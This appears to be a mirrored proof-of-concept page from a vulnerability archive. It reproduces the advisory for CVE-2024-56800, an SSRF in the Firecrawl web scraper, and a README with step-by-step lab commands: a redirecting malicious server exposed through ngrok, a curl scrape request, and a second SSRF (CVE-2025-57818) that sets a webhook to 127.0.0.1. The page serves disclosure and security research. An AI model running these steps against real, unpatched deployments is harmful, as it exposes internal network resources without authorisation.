Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-56800 PoC — Firecrawl has SSRF Vulnerability via malicious scrape target

Source
Associated Vulnerability
Title:Firecrawl has SSRF Vulnerability via malicious scrape target (CVE-2024-56800)
Description:Firecrawl is a web scraper that allows users to extract the content of a webpage for a large language model. Versions prior to 1.1.1 contain a server-side request forgery (SSRF) vulnerability. The scraping engine could be exploited by crafting a malicious site that redirects to a local IP address. This allowed exfiltration of local network resources through the API. The cloud service was patched on December 27th, 2024, and the maintainers have checked that no user data was exposed by this vulnerability. Scraping engines used in the open sourced version of Firecrawl were patched on December 29th, 2024, except for the playwright services which the maintainers have determined to be un-patchable. All users of open-source software (OSS) Firecrawl should upgrade to v1.1.1. As a workaround, OSS Firecrawl users should supply the playwright services with a secure proxy. A proxy can be specified through the `PROXY_SERVER` env in the environment variables. Please refer to the documentation for instructions. Ensure that the proxy server one is using is setup to block all traffic going to link-local IP addresses.
Readme
# cve-2024-56800 POC

## Reference
https://nvd.nist.gov/vuln/detail/CVE-2024-56800

https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec

https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734

## Vulnerability
Firecrawl is a web scraper that allows users to extract the content of a webpage. 
Versions prior to 1.1.1 contain a server-side request forgery (SSRF) vulnerability.
The scraper engine accepts websites redirect to any local IP addresses, causing the leak of resources in the private server.

it's under `apps/api/src/controllers/v1/scrape.ts`

the user input is not sanitized and is allowed to be private IP address. When it is using 127.0.0.1, it actually redirect to the firecrawl's local network, which leaking the internal server of the firecrawl server.


## How to use this POC
### 1. download this POC
```
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc 
```

### 2. start a self-hosted firecrawl server
```
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
```

### 3. start a malicious server
```
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
```

### 4. publish the malicious server
The reason is the firecrawl server blocks private url.
If you don't want to make the server public, I believe you can just comment out the validation in the firecrawl directly.

Here I just write down what I did.
ngrok:
```
ngrok http 8000
```

### 5. run scraper
curl: (remember to paste the correct url)
```
curl -X POST http://localhost:3002/v1/scrape \
      -H 'Content-Type: application/json' \
      -d '{
        "url": "https://xxxxx.ngrok-free.app",
        "formats": ["markdown", "html"]
      }'
```
<img width="1506" height="190" alt="Screenshot 2025-11-01 at 7 51 02 PM" src="https://github.com/user-attachments/assets/d06df9ed-3c40-4ed6-923a-d820be14a619" />


scraper.py
```
cd scraper
```

!! open Dockerfile and change the url to the one you just generated
```
docker build -t scraper .
docker run scraper
```

### expected output

## How the POC works

### Vulnerable Source Code

When starting the self-hosted firecrawl server, 5 services are enabled, one of them is `firecrawl-test-1` (see more details by `docker ps`).
Since all these 5 services are set to be in the same network, they can connect to each other by using the container name they want to connect to.

e.g. (connect to firecrawl-test-1)


running curl directly on local machine:
```
curl http://firecrawl-test-1:80
or
curl http://localhost:80
```
none of them should work because they are not in the same network as firecrawl-test-1


However, accessing in firecrawl-api-1: 
```
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80
```
this should output the correct data because they are in the same network.


In the malicious server, it redirects to http://firecrawl-test-1:80, which should only work for firecrawl network.
Therefore, the success of reaching firecrawl-test-1 server means the scraper redirect to its internal server successfully.
This shows how the SSRF works to expose resources in private server.


# CVE-2025-57818
This is also SSRF vuln.
This happens in crawl API where the parameter `webhook` is not sanitized, attackers can send POST request to a local network of firecrawl.

it's under `apps/api/src/services/webhook.ts`. The problem is that the input `webhookUrl` is not sanitized

The webhook will call a POST request to the specified url. Here we set it to 127.0.0.1 and it connected to the internal server successfully


```
curl -X POST http://localhost:3002/v1/crawl \
     -H 'Content-Type: application/json' \
     -d '{
       "url": "https://example.com",
       "webhook": "http://127.0.0.1:80"
     }'

```

The internal server received the POST request successfully
<img width="790" height="30" alt="Screenshot 2025-11-01 at 7 56 53 PM" src="https://github.com/user-attachments/assets/82ac197d-a424-48c8-b6d0-a37a8088aa96" />
File Snapshot

[4.0K] /data/pocs/262574f2bf3bc8bf989b84f262c0301d7b2d476d ├── [4.0K] malicious_server │   ├── [ 53] Dockerfile │   └── [ 101] index.php ├── [4.0K] rce │   ├── [ 53] Dockerfile │   └── [ 10] index.php ├── [4.0K] README.md └── [4.0K] scraper ├── [ 423] Dockerfile ├── [ 410] exploit.py └── [4.0K] firecrawl-1.0.0 ├── [4.0K] apps │   ├── [4.0K] api │   │   ├── [1.5K] Dockerfile │   │   ├── [1.2K] fly.staging.toml │   │   ├── [1.2K] fly.toml │   │   ├── [ 188] jest.config.js │   │   ├── [ 43] jest.setup.js │   │   ├── [ 32K] openapi.json │   │   ├── [ 32K] openapi-v0.json │   │   ├── [4.6K] package.json │   │   ├── [334K] pnpm-lock.yaml │   │   ├── [1.5K] requests.http │   │   ├── [4.0K] src │   │   │   ├── [4.0K] controllers │   │   │   │   ├── [ 11K] auth.ts │   │   │   │   ├── [4.0K] __tests__ │   │   │   │   │   └── [1.6K] crawl.test.ts │   │   │   │   ├── [4.0K] v0 │   │   │   │   │   ├── [4.0K] admin │   │   │   │   │   │   ├── [6.0K] queue.ts │   │   │   │   │   │   └── [2.8K] redis-health.ts │   │   │   │   │   ├── [1.7K] crawl-cancel.ts │   │   │   │   │   ├── [4.0K] crawlPreview.ts │   │   │   │   │   ├── [2.7K] crawl-status.ts │   │   │   │   │   ├── [7.2K] crawl.ts │   │   │   │   │   ├── [ 650] keyAuth.ts │   │   │   │   │   ├── [ 257] liveness.ts │   │   │   │   │   ├── [ 232] readiness.ts │   │   │   │   │   ├── [7.8K] scrape.ts │   │   │   │   │   ├── [6.0K] search.ts │   │   │   │   │   └── [1.6K] status.ts │   │   │   │   └── [4.0K] v1 │   │   │   │   ├── [1.7K] crawl-cancel.ts │   │   │   │   ├── [4.6K] crawl-status.ts │   │   │   │   ├── [4.7K] crawl-status-ws.ts │   │   │   │   ├── [4.0K] crawl.ts │   │   │   │   ├── [ 257] liveness.ts │   │   │   │   ├── [3.7K] map.ts │   │   │   │   ├── [ 232] readiness.ts │   │   │   │   ├── [1.2K] scrape-status.ts │   │   │   │   ├── [4.0K] scrape.ts │   │   │   │   ├── [4.0K] __tests__ │   │   │   │   │   ├── [1.6K] crawl.test.ts.WIP │   │   │   │   │   └── [2.8K] urlValidation.test.ts │   │   │   │   └── [9.7K] types.ts │   │   │   ├── [ 100] control.ts │   │   │   ├── [ 436] example.ts │   │   │   ├── [7.4K] index.ts │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 447] batch-process.ts │   │   │   │   ├── [ 753] checkCredits.ts │   │   │   │   ├── [4.5K] crawl-redis.ts │   │   │   │   ├── [ 463] custom-error.ts │   │   │   │   ├── [ 535] default-values.ts │   │   │   │   ├── [3.7K] entities.ts │   │   │   │   ├── [4.0K] go-html-to-md │   │   │   │   │   ├── [ 395] go.mod │   │   │   │   │   ├── [8.1K] go.sum │   │   │   │   │   ├── [ 508] html-to-markdown.go │   │   │   │   │   └── [ 210] README.md │   │   │   │   ├── [3.7K] html-to-markdown.ts │   │   │   │   ├── [2.3K] job-priority.ts │   │   │   │   ├── [4.0K] LLM-extraction │   │   │   │   │   ├── [ 534] helpers.ts │   │   │   │   │   ├── [2.3K] index.ts │   │   │   │   │   └── [4.0K] models.ts │   │   │   │   ├── [1.3K] load-testing-example.ts │   │   │   │   ├── [2.1K] logger.ts │   │   │   │   ├── [1.6K] map-cosine.ts │   │   │   │   ├── [ 550] parseApi.ts │   │   │   │   ├── [ 243] parse-mode.ts │   │   │   │   ├── [2.4K] scrape-events.ts │   │   │   │   ├── [1.1K] supabase-jobs.ts │   │   │   │   ├── [4.0K] __tests__ │   │   │   │   │   ├── [1.6K] html-to-markdown.test.ts │   │   │   │   │   └── [4.0K] job-priority.test.ts │   │   │   │   ├── [ 33] timeout.ts │   │   │   │   ├── [5.1K] validateUrl.test.ts │   │   │   │   ├── [4.5K] validateUrl.ts │   │   │   │   └── [ 918] withAuth.ts │   │   │   ├── [4.0K] main │   │   │   │   └── [4.9K] runWebScraper.ts │   │   │   ├── [4.0K] routes │   │   │   │   ├── [ 827] admin.ts │   │   │   │   ├── [1.4K] v0.ts │   │   │   │   └── [5.7K] v1.ts │   │   │   ├── [5.2K] run-req.ts │   │   │   ├── [4.0K] scraper │   │   │   │   └── [4.0K] WebScraper │   │   │   │   ├── [ 17K] crawler.ts │   │   │   │   ├── [4.0K] custom │   │   │   │   │   └── [1.6K] handleCustomScraping.ts │   │   │   │   ├── [ 38] global.ts │   │   │   │   ├── [ 24K] index.ts │   │   │   │   ├── [4.0K] scrapers │   │   │   │   │   ├── [2.6K] fetch.ts │   │   │   │   │   ├── [8.0K] fireEngine.ts │   │   │   │   │   ├── [3.9K] playwright.ts │   │   │   │   │   └── [3.4K] scrapingBee.ts │   │   │   │   ├── [ 16K] single_url.ts │   │   │   │   ├── [2.9K] sitemap.ts │   │   │   │   ├── [4.0K] __tests__ │   │   │   │   │   ├── [7.9K] crawler.test.ts │   │   │   │   │   ├── [ 450] dns.test.ts │   │   │   │   │   └── [1.5K] single_url.test.ts │   │   │   │   └── [4.0K] utils │   │   │   │   ├── [1.5K] blocklist.ts │   │   │   │   ├── [4.0K] custom │   │   │   │   │   └── [7.8K] website_params.ts │   │   │   │   ├── [2.5K] docxProcessor.ts │   │   │   │   ├── [ 741] excludeTags.ts │   │   │   │   ├── [2.5K] imageDescription.ts │   │   │   │   ├── [ 441] maxDepthUtils.ts │   │   │   │   ├── [5.9K] metadata.ts │   │   │   │   ├── [2.3K] parseTable.ts │   │   │   │   ├── [4.7K] pdfProcessor.ts │   │   │   │   ├── [2.5K] removeUnwantedElements.ts │   │   │   │   ├── [2.5K] replacePaths.ts │   │   │   │   ├── [4.0K] __tests__ │   │   │   │   │   ├── [2.9K] blocklist.test.ts │   │   │   │   │   ├── [ 639] docxProcessor.test.ts │   │   │   │   │   ├── [1.7K] maxDepthUtils.test.ts │   │   │   │   │   ├── [4.1K] parseTable.test.ts │   │   │   │   │   ├── [1.0K] pdfProcessor.test.ts │   │   │   │   │   ├── [9.1K] removeUnwantedElements.test.ts │   │   │   │   │   ├── [5.7K] replacePaths.test.ts │   │   │   │   │   └── [1.9K] socialBlockList.test.ts │   │   │   │   └── [1.6K] utils.ts │   │   │   ├── [4.0K] search │   │   │   │   ├── [1.0K] fireEngine.ts │   │   │   │   ├── [4.5K] googlesearch.ts │   │   │   │   ├── [1.2K] index.ts │   │   │   │   └── [1.0K] serper.ts │   │   │   ├── [4.0K] services │   │   │   │   ├── [4.0K] alerts │   │   │   │   │   ├── [2.2K] index.ts │   │   │   │   │   └── [ 648] slack.ts │   │   │   │   ├── [4.0K] billing │   │   │   │   │   └── [ 16K] credit_billing.ts │   │   │   │   ├── [4.0K] idempotency │   │   │   │   │   ├── [ 636] create.ts │   │   │   │   │   └── [ 980] validate.ts │   │   │   │   ├── [4.0K] logging │   │   │   │   │   ├── [ 623] crawl_log.ts │   │   │   │   │   ├── [2.7K] log_job.ts │   │   │   │   │   └── [1.6K] scrape_log.ts │   │   │   │   ├── [ 869] logtail.ts │   │   │   │   ├── [4.0K] notification │   │   │   │   │   └── [5.1K] email_notification.ts │   │   │   │   ├── [ 828] posthog.ts │   │   │   │   ├── [2.1K] queue-jobs.ts │   │   │   │   ├── [1.1K] queue-service.ts │   │   │   │   ├── [ 16K] queue-worker.ts │   │   │   │   ├── [9.9K] rate-limiter.test.ts │   │   │   │   ├── [2.8K] rate-limiter.ts │   │   │   │   ├── [2.0K] redis.ts │   │   │   │   ├── [ 979] redlock.ts │   │   │   │   ├── [ 628] sentry.ts │   │   │   │   ├── [2.3K] supabase.ts │   │   │   │   ├── [2.5K] system-monitor.ts │   │   │   │   └── [3.9K] webhook.ts │   │   │   ├── [ 194] strings.ts │   │   │   ├── [ 41K] supabase_types.ts │   │   │   ├── [4.0K] __tests__ │   │   │   │   ├── [4.0K] e2e_full_withAuth │   │   │   │   │   └── [ 69K] index.test.ts │   │   │   │   ├── [4.0K] e2e_noAuth │   │   │   │   │   └── [8.1K] index.test.ts │   │   │   │   ├── [4.0K] e2e_v1_withAuth │   │   │   │   │   └── [ 39K] index.test.ts │   │   │   │   └── [4.0K] e2e_withAuth │   │   │   │   └── [ 35K] index.test.ts │   │   │   └── [3.0K] types.ts │   │   └── [ 553] tsconfig.json │   ├── [4.0K] js-sdk │   │   ├── [1.6K] example.js │   │   ├── [1.7K] example.ts │   │   ├── [4.0K] firecrawl │   │   │   ├── [ 314] jest.config.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.9K] package.json │   │   │   ├── [143K] package-lock.json │   │   │   ├── [5.9K] README.md │   │   │   ├── [4.0K] src │   │   │   │   ├── [ 18K] index.ts │   │   │   │   └── [4.0K] __tests__ │   │   │   │   ├── [4.0K] e2e_withAuth │   │   │   │   │   └── [ 10K] index.test.ts │   │   │   │   ├── [4.0K] fixtures │   │   │   │   │   └── [ 36K] scrape.json │   │   │   │   ├── [1.6K] index.test.ts │   │   │   │   └── [4.0K] v1 │   │   │   │   └── [4.0K] e2e_withAuth │   │   │   │   └── [ 17K] index.test.ts │   │   │   ├── [ 12K] tsconfig.json │   │   │   └── [4.0K] types │   │   │   └── [8.6K] index.d.ts │   │   ├── [1.1K] LICENSE │   │   ├── [ 480] package.json │   │   ├── [ 27K] package-lock.json │   │   └── [5.9K] tsconfig.json │   ├── [4.0K] playwright-service │   │   ├── [1.1K] Dockerfile │   │   ├── [2.0K] get_error.py │   │   ├── [3.4K] main.py │   │   ├── [ 0] README.md │   │   ├── [ 0] requests.http │   │   ├── [ 61] requirements.txt │   │   └── [ 4] runtime.txt │   ├── [4.0K] playwright-service-ts │   │   ├── [6.0K] api.ts │   │   ├── [ 248] Dockerfile │   │   ├── [4.0K] helpers │   │   │   └── [2.1K] get_error.ts │   │   ├── [ 651] package.json │   │   ├── [ 945] README.md │   │   └── [ 12K] tsconfig.json │   ├── [4.0K] python-sdk │   │   ├── [3.2K] example.py │   │   ├── [4.0K] firecrawl │   │   │   ├── [ 17K] firecrawl.py │   │   │   ├── [1.6K] __init__.py │   │   │   └── [4.0K] __tests__ │   │   │   ├── [4.0K] e2e_withAuth │   │   │   │   ├── [ 0] __init__.py │   │   │   │   └── [7.7K] test.py │   │   │   └── [4.0K] v1 │   │   │   └── [4.0K] e2e_withAuth │   │   │   ├── [ 0] __init__.py │   │   │   └── [ 16K] test.py │   │   ├── [1.1K] LICENSE │   │   ├── [1.7K] pyproject.toml │   │   ├── [6.5K] README.md │   │   ├── [ 61] requirements.txt │   │   └── [2.3K] setup.py │   ├── [4.0K] redis │   │   ├── [ 159] Dockerfile │   │   ├── [ 338] fly.toml │   │   ├── [ 132] Procfile │   │   ├── [1.6K] README.md │   │   ├── [4.0K] scripts │   │   │   ├── [2.6K] bump_version.sh │   │   │   ├── [5.2K] semver │   │   │   └── [ 244] version.sh │   │   └── [ 716] start-redis-server.sh │   ├── [4.0K] rust-sdk │   │   ├── [ 51K] Cargo.lock │   │   ├── [ 938] Cargo.toml │   │   ├── [ 64] CHANGELOG.md │   │   ├── [4.0K] examples │   │   │   └── [2.5K] example.rs │   │   ├── [6.2K] README.md │   │   ├── [4.0K] src │   │   │   └── [ 13K] lib.rs │   │   └── [4.0K] tests │   │   └── [6.5K] e2e_with_auth.rs │   ├── [4.0K] test-suite │   │   ├── [4.0K] data │   │   │   ├── [6.4K] crawl.json │   │   │   └── [3.6K] scrape.json │   │   ├── [ 105] jest.config.js │   │   ├── [ 0] jest.setup.js │   │   ├── [4.0K] load-test-results │   │   │   ├── [4.0K] tests-1-5 │   │   │   │   ├── [4.0K] assets │   │   │   │   │   ├── [ 62K] CPU-utilization-report-test-1.png │   │   │   │   │   ├── [201K] memory-utilization-report-test-1.png │   │   │   │   │   ├── [ 77K] metrics-test-2.png │   │   │   │   │   ├── [102K] metrics-test-3.png │   │   │   │   │   ├── [105K] metrics-test-4.png │   │   │   │   │   ├── [101K] metrics-test-5.png │   │   │   │   │   └── [118K] test-run-report.json │   │   │   │   ├── [4.7K] load-test-1.md │   │   │   │   ├── [3.6K] load-test-2.md │   │   │   │   ├── [4.2K] load-test-3.md │   │   │   │   ├── [3.8K] load-test-4.md │   │   │   │   └── [4.3K] load-test-5.md │   │   │   └── [4.0K] tests-6-7 │   │   │   ├── [4.0K] assets │   │   │   │   ├── [124K] metrics-fire-engine-test-7-2.png │   │   │   │   ├── [ 78K] metrics-fire-engine-test-7.png │   │   │   │   ├── [ 97K] metrics-fire-engine-test-8.png │   │   │   │   ├── [216K] metrics-test-6.png │   │   │   │   ├── [ 87K] metrics-test-7.png │   │   │   │   └── [ 91K] metrics-test-8.png │   │   │   ├── [4.4K] load-test-6.md │   │   │   ├── [6.3K] load-test-7.md │   │   │   └── [5.5K] load-test-8.md │   │   ├── [1.9K] load-test.yml │   │   ├── [1.0K] package.json │   │   ├── [333K] pnpm-lock.yaml │   │   ├── [1.6K] README.md │   │   ├── [4.0K] tests │   │   │   ├── [6.0K] crawl.test.ts │   │   │   └── [7.1K] scrape.test.ts │   │   ├── [ 12K] tsconfig.json │   │   └── [4.0K] utils │   │   ├── [ 493] log.ts │   │   ├── [1.7K] misc.ts │   │   ├── [2.6K] supabase.ts │   │   ├── [ 534] tokens.ts │   │   └── [ 146] types.ts │   ├── [4.0K] ui │   │   └── [4.0K] ingestion-ui │   │   ├── [ 340] components.json │   │   ├── [ 354] index.html │   │   ├── [1.1K] LICENSE │   │   ├── [1.3K] package.json │   │   ├── [167K] package-lock.json │   │   ├── [ 80] postcss.config.js │   │   ├── [4.0K] public │   │   │   ├── [ 15K] favicon.ico │   │   │   └── [1.5K] vite.svg │   │   ├── [2.7K] README.md │   │   ├── [4.0K] src │   │   │   ├── [1.2K] App.tsx │   │   │   ├── [4.0K] components │   │   │   │   ├── [ 22K] ingestion.tsx │   │   │   │   ├── [ 20K] ingestionV1.tsx │   │   │   │   └── [4.0K] ui │   │   │   │   ├── [1.8K] button.tsx │   │   │   │   ├── [1.8K] card.tsx │   │   │   │   ├── [1.0K] checkbox.tsx │   │   │   │   ├── [ 315] collapsible.tsx │   │   │   │   ├── [ 824] input.tsx │   │   │   │   ├── [ 710] label.tsx │   │   │   │   └── [1.4K] radio-group.tsx │   │   │   ├── [1.8K] index.css │   │   │   ├── [4.0K] lib │   │   │   │   └── [ 166] utils.ts │   │   │   ├── [ 236] main.tsx │   │   │   └── [ 38] vite-env.d.ts │   │   ├── [2.1K] tailwind.config.js │   │   ├── [ 760] tsconfig.app.json │   │   ├── [ 233] tsconfig.json │   │   ├── [ 325] tsconfig.node.json │   │   └── [ 240] vite.config.ts │   └── [4.0K] www │   └── [ 12] README.md ├── [3.4K] CONTRIBUTING.md ├── [2.1K] docker-compose.yaml ├── [4.0K] examples │   ├── [4.0K] contradiction_testing │   │   └── [3.3K] web-data-contradiction-testing-using-llms.mdx │   ├── [4.0K] find_internal_link_opportunites │   │   └── [ 56K] find_internal_link_opportunites.ipynb │   ├── [4.0K] full_example_apps │   │   └── [ 120] README.md │   ├── [4.0K] kubernetes │   │   └── [4.0K] cluster-install │   │   ├── [1.3K] api.yaml │   │   ├── [ 341] configmap.yaml │   │   ├── [1.4K] playwright-service.yaml │   │   ├── [1.4K] README.md │   │   ├── [ 473] redis.yaml │   │   ├── [ 385] secret.yaml │   │   └── [ 582] worker.yaml │   ├── [4.0K] scrape_and_analyze_airbnb_data_e2b │   │   ├── [ 10K] airbnb_listings.json │   │   ├── [ 20K] airbnb_prices_chart.png │   │   ├── [ 798] codeInterpreter.ts │   │   ├── [2.9K] index.ts │   │   ├── [1.4K] model.ts │   │   ├── [ 576] package.json │   │   ├── [ 34K] package-lock.json │   │   ├── [ 238] prettier.config.mjs │   │   ├── [ 708] README.md │   │   └── [2.7K] scraping.ts │   ├── [4.0K] simple_web_data_extraction_with_claude │   │   └── [5.6K] simple_web_data_extraction_with_claude.ipynb │   ├── [4.0K] visualize_website_topics_e2b │   │   └── [540K] claude-visualize-website-topics.ipynb │   ├── [4.0K] web_data_extraction │   │   └── [3.4K] web-data-extraction-using-llms.mdx │   ├── [4.0K] web_data_rag_with_llama3 │   │   └── [3.3K] web-data-rag--with-llama3.mdx │   └── [4.0K] website_qa_with_gemini_caching │   └── [5.3K] website_qa_with_gemini_caching.ipynb ├── [4.0K] img │   └── [ 74K] firecrawl_logo.png ├── [4.0K] internal_server │   ├── [ 121] Dockerfile │   └── [1.0K] index.php ├── [ 34K] LICENSE ├── [ 16K] README.md └── [7.9K] SELF_HOST.md 95 directories, 303 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →